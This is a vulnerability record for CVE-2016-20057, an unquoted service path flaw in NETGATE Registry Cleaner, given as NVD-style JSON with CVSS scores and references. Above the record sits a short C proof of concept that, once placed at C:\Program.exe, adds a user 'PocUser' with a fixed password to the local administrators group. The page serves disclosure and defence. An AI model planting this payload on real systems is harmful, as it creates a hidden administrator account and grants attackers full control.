CVE-2016-20057

#include <windows.h> #include <stdlib.h> /* * PoC for CVE-2016-20057 (Unquoted Service Path) * Compile: gcc poc.c -o Program.exe * Description: This code demonstrates the payload execution. * Place the compiled executable at C:\Program.exe * (assuming the vulnerable service path is C:\Program Files\...) */ int main() { // Code executed with LocalSystem privileges system("net user PocUser P@ssw0rd /add"); system("net localgroup administrators PocUser /add"); return 0; }

{"cve": {"id": "CVE-2016-20057", "sourceIdentifier": "[email protected]", "published": "2026-04-04T14:16:18.223", "lastModified": "2026-04-20T14:25:56.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NETGATE Registry Cleaner build 16.0.205 contains an unquoted service path vulnerability in the NGRegClnSrv service that allows local attackers to escalate privileges by exploiting the service binary path. Attackers can place a malicious executable in the unquoted path and trigger service restart or system reboot to execute code with LocalSystem privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netgate:registry_cleaner:*:*:*:*:*:*:*:*", "versionEndIncluding": "16.0.205", "matchCriteriaId": "C8AB4B0E-28DC-4151-83CE-E2941AF48D7E"}]}]}], "references": [{"url": "http://www.netgate.sk/", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.netgate.sk/download/download.php?id=4", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/40539", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/netgate-registry-cleaner-build-unquoted-service-path-privilege-escalation", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}